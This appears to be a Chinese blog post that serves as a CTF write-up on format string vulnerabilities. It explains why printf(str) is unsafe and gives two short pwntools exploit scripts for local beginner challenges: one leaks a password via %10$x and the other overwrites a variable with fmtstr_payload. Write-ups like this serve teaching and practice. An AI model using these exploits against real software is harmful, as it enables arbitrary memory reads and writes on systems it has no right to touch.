zoukankan      html  css  js  c++  java
  • pwn-格式化字符串漏洞

    原理:因为没有正确使用printf()函数

    正确使用 : printf('%s',str)

    不正规使用:printf(str)

    控制字符串str可以爆出stack内内容从而实现任意地址读或者任意地址写

    ---------------------------入门题01--------------------------------------

    18行存在格式化字符串漏洞

    只需输入在hello之后输入password所在地址,接收password值再传入进行比较即可

    exp:

    from pwn import *
    
    r = remote("127.0.0.1",4000)
    
    from pwn import *

    r = remote("127.0.0.1",4000)

    pass_addr = 0x804A048
    r.recvuntil('?')
    r.sendline(p32(pass_addr)+'#' +'%10$x'+'#' )
    r.recvuntil('#')

    key =  str(u32(r.recvuntil('#')[:4]))

    r.recvuntil(':')
    r.sendline(key)

    r.interactive()

    ---------------------------入门题02--------------------------------------

    使用pwntools提供的fmtstr_payload(offset, {addr: value })函数实现地址写入

    首先输入一个字符串与n个%x找到字符串被爆出的位置

    再使用fmtstr_payload写入x变量即可

    exp:

    from pwn import *
    
    r=remote('127.0.0.1',4000)
    x_addr = 0x804A02C
    r.sendline(fmtstr_payload(7, {x_addr:0x14368792 }))
    r.interactive()

  • 相关阅读:
    获取Web打印的实际打印次数
    Web打印的在线设计
    上海交易所的STEP/FIX/FAST协议解析
    回忆我的姑妈
    指定Web打印的打印机
    Web打印控件设计
    最终用户在线设计和修改Web报表
    NOIP2021 游记
    gym103427 部分题解
    gym103428 部分题解
  • 原文地址:https://www.cnblogs.com/Aiden-/p/9638031.html
Copyright © 2011-2022 走看看